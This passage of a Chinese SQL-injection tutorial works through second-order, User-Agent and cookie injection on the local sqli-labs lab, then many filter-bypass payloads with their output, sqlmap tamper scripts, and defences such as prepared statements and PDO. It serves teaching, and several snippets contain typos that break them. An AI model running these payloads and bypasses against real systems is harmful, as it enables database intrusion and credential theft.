- 服务端应用程序会将黑客提交的数据信息进行存储,通常是保存在数据中,保存的数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响应。
- 黑客向服务端发送第二个与第一个不同的请求。
- 服务端接收到黑客提交的第二个请求信息后,为了处理该请求,服务端会查询数据库中已经存储的数据信息并处理,从而导致黑客在第一次请求中构造的SQL语句或者命令在服务端环境中执行。
- 服务端返回执行的处理结果数据信息,黑客可以通过返回的结果数据信息判断二次注入漏洞利用是否成功。
实例
sqli-labs:http://127.0.0.1/sqli/Less-24/index.php
注入
新建用户admin’#/123456
查看数据库可以发现成功插入数据库
mysql> select * from security.users;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
| 15 | admin'# | 123456 |
+----+----------+------------+
14 rows in set (0.00 sec)
登录,然后修改为admin’#/aaaaaa
再次查看,发现admin的密码变为aaaaaa
mysql> select * from security.users;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | aaaaaa |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
| 15 | admin'# | 123456 |
+----+----------+------------+
14 rows in set (0.00 sec)
解释
此时查看源码
路径:Less-24/pass_change.php
if($pass==$re_pass)
{
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";//此处存在明显的SQL注入漏洞
$res = mysqli_query($con1, $sql) or die('You tried to be smart, Try harder!!!! :( ');
$row = mysqli_affected_rows($con1);
echo '<font size="3" color="#FFFF00">';
echo '<center>';
if($row==1)
{
echo "Password successfully updated";
}
else
{
header('Location: failed.php');
//echo 'You tried to be smart, Try harder!!!! :( ';
}
}
当我们提交用户名admin’#修改密码的时候
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
会因为’#
导致#后面都被注释
$sql = "UPDATE users SET PASSWORD='aaaaaa' where username='admin'#' and password='123456' ";
所以admin用户的密码就成功被改成aaaaaa
User-Agent注入
sqli-labs:Less-18
http://127.0.0.1/sqli/Less-18/
进入页面输入正确的用户名密码admin/aaaaaa(因为前面已经改过了)登陆后可以看到显示出浏览器的User-Agent
Your User Agent is: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
抓包,修改User-agent为
'and extractvalue(1,concat(0x7e,database(),0x7e))and '1'='1
//database()函数可以换成其他
可以看到返回的内容
XPATH syntax error:'~security~'
Cookie注入
原理
大部分开发人员都会对传入用户的参数进行适当的过滤,但很多时候,由于个人对安全技术的了解程度不同,导致有些开发人员只会对get,post请求进行过滤,除此之外的数据提交还有request方法,这就造成了cookie注入的基本条件,使用了request方法,但只对get/post请求的数据进行过滤
常见的例子
http://xxx.com/search.asp?=1
只访问
http://xxx.com/search.asp 不能访问,报错缺少id
把id=1放在cookie中,再次访问http://xxx.com/search.asp
能够访问就说明后端对cookie没有过滤
也就是有cookie注入了
实例
sqli-labs:Less-20
http://127.0.0.1/sqli/Less-20/
正常输入用户名密码admin/aaaaaa,看到显示的内容
YOUR USER AGENT IS : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE
YOUR COOKIE : uname = admin and expires: Tue 11 Oct 2022 - 12:14:55
Your Login name:admin
Your Password:aaaaaa
Your ID:8
抓包修改cookie为
Cookie: uname='union select 1,2,database()#
DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE
YOUR COOKIE : uname = 'union select 1,2,database()# and expires: Tue 11 Oct 2022 - 21:02:08
Your Login name:2
Your Password:security
Your ID:1
成功注入
过滤绕过
参考:SQL注入过滤的绕过
环境:php:5.3.29 mysql:5.5.29
源码
<?php
$con = mysql_connect("localhost","root","root"); #数据库连接
$select_db = mysql_select_db('security');
if (!$select_db) {
die("不能连接到数据库!:\n" . mysql_error());
}
function blacklist($id)
{
//-------------------------添加过滤语句-----------------------------------------------
return $id;
}
//查询代码
$id=$_GET['id'];
echo "-------------------------------------------------------";echo "<br>";
echo "接受到的ID参数:",$id;
echo "<br>";
echo "-------------------------------------------------------";echo "<br>";
$id=blacklist($id);
echo "-------------------------------------------------------";echo "<br>";
echo "过滤后的ID参数:",$id;
echo "<br>";
echo "-------------------------------------------------------";echo "<br>";
$sql = "select * from users where id=$id ";
echo "-------------------------------------------------------";echo "<br>";
echo "SQL查询语句:",$sql;
echo "<br>";
echo "-------------------------------------------------------";echo "<br>";
$res = mysql_query($sql);
if (!$res) {
die("could get the res:\n" . mysql_error());
}
while ($row = mysql_fetch_assoc($res)) {
print_r($row);
}
mysql_close($con); //关闭数据库连接
?>
preg_replace函数
preg_replace(‘A’ , ‘B’ , C) ,执行一个正则表达式的搜索和替换,表示搜索C中符合A的部分用B代替,PHP preg_replace() 函数
function blacklist($id)
{
$id = preg_replacee('/or/i',"",$id); //过滤 or 不分大小写
$id = preg_replacee('/and/i',"",$id); //过滤 and 不分大小写
$id = preg_replacee('/[\/\*]/',"",$id); //过滤 /*
$id = preg_replacee('/[--]/',"",$id); //过滤 --
$id = preg_replacee('/[#]/',"",$id); //过滤 # %23
$id = preg_replacee('/[\s]/',"",$id); //过滤 空格 %20
$id = preg_replacee('/[\/\\\\]/',"",$id); //过滤 斜杠 \ 和 反斜杠 /
return $id;
}
空格过滤
注入时空格无法使用,用注释 /**/ 或者加括号 () 来避免 mysql注入绕过空格过滤的方法
注释符绕过空格
这是最基本的方法,在一些自动化SQL注射工具中,使用也十分普遍。在MySQL中,用/*注释*/
来标记注释的内容。比如SQL查询:
select user() from dual
我们用注释替换空格,就可以变成:
select/**/user()/**/from/**/dual
括号绕过空格
空格被过滤,但括号没有被过滤,可通过括号绕过。
括号绕过空格的方法,在time based盲注中,是屡试不爽的。
举例说明,我们有这样的一条SQL查询:
select user() from dual where 1=1 and 2=2
观察到user()可以算值,那么user()两边要加括号,变成:
select(user())from dual where 1=1 and 2=2;
继续,1=1和2=2可以算值,也加括号,去空格,变成:
select(user())from dual where(1=1)and(2=2)
内联注释绕过
当MySQL数据库版本大于等于5.55.55时,可以使用内联注释(/!**/)
只要SQL语句在/*! */ 之间,就等价
/*!union*/=union
/*!select*/=select
/*! select * from xxx where id=1 */
- 一条常用的time based盲注语句
http://www.xxx.com/index.php?id=(sleep(ascii(mid(user()from(2)for(1)))=109))
这条语句是猜解user()第二个字符的ascii码是不是109,若是109,则页面加载将延迟。它:
-
既没有用到逗号、大小于符号
-
也没有使用空格
却可以完成数据的猜解工作!
实例
使用空格过滤: $id = preg_replace('/[\s]/',"",$id);
注入语句:http://127.0.0.1/1/6/?id=1 order by 1
结果
-------------------------------------------------------
接受到的ID参数:1 order by 1
-------------------------------------------------------
-------------------------------------------------------
过滤后的ID参数:1orderby1
-------------------------------------------------------
-------------------------------------------------------
SQL查询语句:select * from users where id=1orderby1
-------------------------------------------------------
could get the res: Unknown column '1orderby1' in 'where clause'
注释符绕过:http://127.0.0.1/1/6/?id=1/**/order/**/by/**/1
结果,成功注入
-------------------------------------------------------
接受到的ID参数:1/**/order/**/by/**/1
-------------------------------------------------------
-------------------------------------------------------
过滤后的ID参数:1/**/order/**/by/**/1
-------------------------------------------------------
-------------------------------------------------------
SQL查询语句:select * from users where id=1/**/order/**/by/**/1
-------------------------------------------------------
Array ( [id] => 1 [username] => Dumb [password] => Dumb )
利用sqlmap中space2comment.py:–tamper=space2comment.py
python2 sqlmap -u http://127.0.0.1/1/6/?id=1 --batch --dbs --tamper=space2comment.py
内联注释绕过:http://127.0.0.1/1/6/?id=1/*!union*//*!select*/@@version,2,3;
结果,成功
-------------------------------------------------------
接受到的ID参数:1/*!union*//*!select*/@@version,2,3;
-------------------------------------------------------
-------------------------------------------------------
过滤后的ID参数:1/*!union*//*!select*/@@version,2,3;
-------------------------------------------------------
-------------------------------------------------------
SQL查询语句:select * from users where id=1/*!union*//*!select*/@@version,2,3;
-------------------------------------------------------
Array ( [id] => 1 [username] => Dumb [password] => Dumb ) Array ( [id] => 5.5.29 [username] => 2 [password] => 3 )
sqlmap关于内联注释的脚本:versionedmorekeywords.py 和 halfversionedmorekeywords.py
区分大小写过滤SQL关键词
function blacklist($id)
{
$id = preg_replace('/[\s]/',"",$id); //过滤 空格 %20
$id = preg_replace('/or/',"",$id); //过滤 or
$id = preg_replace('/and/',"",$id); //过滤 and
$id = preg_replace('/union/',"",$id); //过滤 union
$id = preg_replace('/by/',"",$id); //过滤 by
$id = preg_replace('/select/',"",$id); //过滤 select
$id = preg_replace('/from/',"",$id); //过滤 from
$id = preg_replace('/floor/',"",$id); //过滤 floor
$id = preg_replace('/concat/',"",$id); //过滤 concat
$id = preg_replace('/count/',"",$id); //过滤 count
$id = preg_replace('/rand/',"",$id); //过滤 rand
$id = preg_replace('/group by/',"",$id); //过滤 group by
$id = preg_replace('/substr/',"",$id); //过滤 substr
$id = preg_replace('/ascii/',"",$id); //过滤 ascii
$id = preg_replace('/mid/',"",$id); //过滤 mid
$id = preg_replace('/like/',"",$id); //过滤 like
$id = preg_replace('/sleep/',"",$id); //过滤 sleep
$id = preg_replace('/when/',"",$id); //过滤 when
$id = preg_replace('/order/',"",$id); //过滤 order
return $id;
}
http://127.0.0.1/6/?id=1 order by 1
-------------------------------------------------------
接受到的ID参数:?id=1 order by 1
-------------------------------------------------------
-------------------------------------------------------
过滤后的ID参数:?id=1der1
-------------------------------------------------------
-------------------------------------------------------
SQL查询语句:select * from users where id=?id=1der1
-------------------------------------------------------
could get the res: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '?id=1der1' at line 1
大小写绕过
这里过滤没有区分大小写,可以大小写结合绕过(个人理解: MySQL默认不区分大小写Mysql数据库(大小写敏感)区分大小写的问题总结)
加上空格绕过
http://127.0.0.1/6/?id=1/*!oRdEr*//*!bY*/1
-------------------------------------------------------
接受到的ID参数:1/*!oRdEr*//*!bY*/1
-------------------------------------------------------
-------------------------------------------------------
过滤后的ID参数:1/*!oRdEr*//*!bY*/1
-------------------------------------------------------
-------------------------------------------------------
SQL查询语句:select * from users where id=1/*!oRdEr*//*!bY*/1
-------------------------------------------------------
Array ( [id] => 1 [username] => Dumb [password] => Dumb )
不区分大小写过滤SQL关键词
思路
- 尝试双拼绕过
- 查看是非有关键词漏过滤
- 使用等价函数
不区分大小写过滤SQL关键词,大小写混合被过滤掉
http://127.0.0.1/6/?id=1/*!oRdEr*//*!bY*/1
-------------------------------------------------------
接受到的ID参数:1/*!oRdEr*//*!bY*/1
-------------------------------------------------------
-------------------------------------------------------
过滤后的ID参数:1/*!dEr*//*!*/1
-------------------------------------------------------
-------------------------------------------------------
SQL查询语句:select * from users where id=1/*!dEr*//*!*/1
-------------------------------------------------------
could get the res: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'dEr*//*!*/1' at line 1
双拼绕过
双拼就是一个单词分开写两遍,union–>ununionion order–>oorrororoorrororderder(order这个够离谱)
sqlmap的双拼绕过脚本: nonrecursivereplacement.py ,针对所有数据库
爆破查看是否所有关键词都过滤
可以使用burp Intruder sniper爆破,但只能一个一个看返回结果SQL注入fuzz字典
extractvalue报错注入,&&–>%26%26
http://127.0.0.1/6/?id=1/**/%26%26/**/ecxtractvalue(1,concat(0x7e,user(),0x7e)
-------------------------------------------------------
接受到的ID参数:1/**/&&/**/extractvalue(1,concat(0x7e,user(),0x7e))
-------------------------------------------------------
-------------------------------------------------------
过滤后的ID参数:1/**/&&/**/extractvalue(1,concat(0x7e,user(),0x7e))
-------------------------------------------------------
-------------------------------------------------------
SQL查询语句:select * from users where id=1/**/&&/**/extractvalue(1,concat(0x7e,user(),0x7e))
-------------------------------------------------------
could get the res: XPATH syntax error: '~root@localhost~'
updatexml报错注入
http://127.0.0.1/6/?id=1/**/%26%26/**/updatexml(1,concat(0x7e,user(),0x7e),1)
等价函数绕过
例如:substr、substring、mid都过滤了的话,可以考虑left(),过滤了sleep可以考虑benchmark();过滤了group_concat可以使用concat_ws()。
过滤了引号
代码稍微一改
<?php
$con = mysql_connect("localhost","root","root"); #数据库连接
$select_db = mysql_select_db('security');
if (!$select_db) {
die("不能连接到数据库!:\n" . mysql_error());
}
function blacklist($id)
{
//过滤语句
$id = preg_replace('/[\'\"]/',"",$id); //过滤 '"
return $id;
}
//查询代码
$id=$_GET['id'];
echo "-------------------------------------------------------";echo "<br>";
echo "接受到的ID参数:",$id;
echo "<br>";
echo "-------------------------------------------------------";echo "<br>";
$id=blacklist($id);
echo "-------------------------------------------------------";echo "<br>";
echo "过滤后的ID参数:",$id;
echo "<br>";
echo "-------------------------------------------------------";echo "<br>";
$sql = "select * from users where username=$id";
echo "-------------------------------------------------------";echo "<br>";
echo "SQL查询语句:",$sql;
echo "<br>";
echo "-------------------------------------------------------";echo "<br>";
$res = mysql_query($sql);
if (!$res) {
die("could get the res:\n" . mysql_error());
}
while ($row = mysql_fetch_assoc($res)) {
print_r($row);
}
mysql_close($con); //关闭数据库连接
?>
http://127.0.0.1//1/6/?id=%27admin%27
-------------------------------------------------------
接受到的ID参数:'admin'
-------------------------------------------------------
-------------------------------------------------------
过滤后的ID参数:admin
-------------------------------------------------------
-------------------------------------------------------
SQL查询语句:select * from users where username=admin
-------------------------------------------------------
could get the res: Unknown column 'admin' in 'where clause'
十六进制编码绕过
直接用admin的十六进制编码(不要忘了加0x)
http://127.0.0.1//1/6/?id=0x61646d696e
-------------------------------------------------------
接受到的ID参数:0x61646d696e
-------------------------------------------------------
-------------------------------------------------------
过滤后的ID参数:0x61646d696e
-------------------------------------------------------
-------------------------------------------------------
SQL查询语句:select * from users where username=0x61646d696e
-------------------------------------------------------
Array ( [id] => 8 [username] => admin [password] => admin )
ASCII编码绕过
admin的各个字符用ascii编码代替(97-100-109-105-110),使用函数char(),admin就是concat(char(97),char(100),char(109),char(105),char(110))
http://127.0.0.1//1/6/?id=concat(char(97),char(100),char(109),char(105),char(110))
URL编码绕过(有条件)
这里的条件是,后端处理接受的数据先过滤后进行url解码
$id = $_GET['id'];
$id = blacklist[$id];
$id = urldecode[$id];
这里使用引号""
的url编码的url编码
http://127.0.0.1/1/6/?id=%2522admin%2522
过滤了逗号
使用盲注的时候,会用到substr、substring()、mid()、limit等函数,这些函数都要用到逗号,如果只是过滤了逗号,则对于substr、substring()和mid()这三个个函数可以使用from for的方式来绕过,对于limit,可以使用offset绕过。substr、substring、mid三个函数功能用法一样。
//substr()逗号绕过
select * from test where id=1 and (select ascii(substr(username,2,1)) from admin limit 1)>97;
select * from test where id=1 and (select ascii(substr(username from 2 for 1)) from admin limit 1)>97;
//substring()逗号绕过
select * from test where id=1 and (select ascii(substring(username,2,1)) from admin limit 1)>97;
select * from test where id=1 and (select ascii(substring(username from 2 for 1)) from admin limit 1)>97;
//mid()逗号绕过
select * from test where id=1 and (seect ascii(mid(username,2,1)) from limit 1)>97;
select * from test where id=1 and (select ascii(mid(username from 2 for 1)) from admin limit 1)>97;
//limit逗号绕过
select * from test where id=1 limit 1,2;
select * from test where id=1 limit 2 ffset 1;
过滤了比较符
使用盲注的时候,会用到二分法比较操作符来进行操作。如果过滤了比较操作符,那么就需要**greatest()和lease()**进行绕过。greatest()返回最大值,least()返回最小值。
greatset(n1,n2,n3…)
least(n1,n2,n3…)
select * from users where id=1 and ascii(substring(database(),0,1))>64
select * from users where id=1 and greatest(ascii(substring(database(),0,1)),64);
select 8 from users where id=1 and ascii(substring(database(),0,1))<64;
select * from users where id=1 and least(ascii(substring(database(),0,1)),64)<64;
sqlmap中,用greatest代替大于号脚本:greastest.py,只针对mysql
过滤了or and xor not
and 用 &&代替;or 用 || 代替;xor 用 | 代替;not 用 ! 代替
select * from users where id=1 and 1=2;
select * from users where id=1 && 1=2;
select * from users where id=1 or 1=2;
select * from users where id=1 || 1=2;
过滤了注释符#
$id = preg_replace('/[\#]/',"",$id);
$sql = "select * from users where id='$id' limit 0,1";
使用 || 绕过,但仅限闭合后面是单引号的情况
http://127.0.0.1/1/6/?id=1' and 1=1||'
-------------------------------------------------------
接受到的ID参数:1' and 1=1||'
-------------------------------------------------------
-------------------------------------------------------
过滤后的ID参数:1' and 1=1||'
-------------------------------------------------------
-------------------------------------------------------
SQL查询语句:select * from users where id='1' and 1=1||'' limit 0,1
-------------------------------------------------------
Array ( [id] => 1 [username] => Dumb [password] => Dumb )
但如果是数字型注入,这种方法就不奏效!
http://127.0.0.1/1/6/?id=1 ||
-------------------------------------------------------
接受到的ID参数:1 ||
-------------------------------------------------------
-------------------------------------------------------
过滤后的ID参数:1 ||
-------------------------------------------------------
-------------------------------------------------------
SQL查询语句:select * from users where id=1 || limit 0,1
-------------------------------------------------------
could get the res: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'limit 0,1' at line 1
过滤了等号
使用 like、rlike、regexp代替
- like:就是等于的意思
- rlike:就是里面含有这个
- regexp:和rlike一样,表示里面含有这个
select * from users id=1;
select * from users id like 1;
select * from users id rlike 1;
select * from users id regexp 1;
如果判断是否等于,可以替换为是否大于小于><来绕过
在sqlmap中,用like代替等号的脚本:equaltolike.py ,该脚本只针对于MySQL。
过滤了延时函数
延时函数如sleep()被过滤,绕过的手段是让SQL语句执行大负荷查询(笛卡尔算积) ,由于负载查询需要大量的数据,所以执行语句就会有延时的效果。
利用mysql数据库中默认的information_schema数据库,information_schema.tables和information_schema.columns来进行笛卡尔算积,以达到延时的效果。
select count(*) from information_schema.tables;
select count(*) from information_shcema.columns;
select * from users where id=1 and (select count(*) from infromation_schema.tables A, information.columns B);
配合查询语句,查询结果为真,就造成延时并显示数据;如果查询结果为假,就不会延时也不会显示数据。
select * from users where id=1 (asii(substrdsatabase(),1,1))>100) and (select count(*) from information_schema.columns A, information_shcnema.columns B);
万能密码
sql="select * from test where username=‘XX’ and password=‘XX’ ";
- amdin XX //已知用户名
- XX ‘or’ ‘1’='1 //不需要知道用户名
- ‘or’ ‘1’=‘1’ # XX //不知道用户名
SQL注入预防
预编译(PreparedStement)(JSP)
可以采用预编译语句集,它内置了处理SQL注入的能力,只要使用它的setXXX方法即可。
String sql = "select id, no from where id =?";
Preparedstatement ps = conn.preparStatement(sql);
ps.setInit(1,id);
ps.executeQuery();
上示是典型的SQL预编译防止SQL注入。
原理
采用PreparedStatement预编译,会将SQL语句"select id,no from user where id=?"预先编译好,也就是SQL引擎会预先进行语法分析,产生语法树,生成执行计划;也就是说,后面输入的参数,无论是什么,都不会影响该SQL语句的语法结构,因为语法分析已经完成,而语法分析主要是分析SQL命令,比如select、where、and、or、order by等。
所以即使后面输入了这些SQl命令,也不会被当作SQL语句执行,因为这些SQL语句的执行必须先通过语法分析,生成执行计划。语法分析已经完成,预编译已经完成,后面的参数就只会被当作字符串字面参数。
PDO(PHP)
PDO简介
PDO是PHP Data Object(php数据对象)的缩写。php5.1版本之后开始支持PDO。
可以把PDO看作php提供的的一个类,它提供一组数据库抽象层API,使得编写php代码不再关心具体要链接的数据库类型。
原理
PDO对于解决SQL注入的原理也是预编译。
$data = $db->prepare('select first_name, last_name from users where user_id = (:id) limit 1;');
$data->bindParam(':id', $id, PDO::PARAM_INT);
$data->execute();
实例化PDO对象后,首先对请求SQL语句做预编译处理。这里使用占位符将SQL语句传入prepare函数,预处理函数得到本次查询语句的SQL模板类,并将这个模板类返回,模板可以防止那些危险的变量改变本身查询语句的语义。然后使用bindParam()函数对用户输入的数据和参数id进行绑定,最后再执行。
使用正则表达式过滤
预编译可以有效预防SQL注入,但再特定的场景可能需要对用户输入数据进行拼接。这时就需要对用户的输入进行严格的检查,使用正则表达式对危险字符串进行过滤,这种方法是基于黑名单的过滤,以至于黑客想尽办法进行绕过注入。
基于正则表达式的过滤方法还是不安全的,因为还存在绕过的风险。
对用户输入的特殊字符进行严格过滤,如’、"、<、>、*、/、;、+、-、&、|、(、)、and、or、select、union
function blacklist($id)
{
$id = preg_repalce('/or/i',"",$id); //过滤 or 不区分大小写
$id = preg_repalce('/[\/\\\\]/',"",$id);//过滤 \ 和 /
......
return $id;
}
其他
- Web应用中用于连接数据库的用户与数据库的系统管理员的权限有严格的区分,并设置Web应用中用于连接数据库的用户不允许操作其他数据库。
- 设置Web应用中用于连接数据库的用户对Web目录不允许有读写权限。
- 严格限定参数类型和格式,明确参数检验的边界,必须在服务端正式处理之前对提交的数据合法性进行检查。
- 使用Web应用防火墙。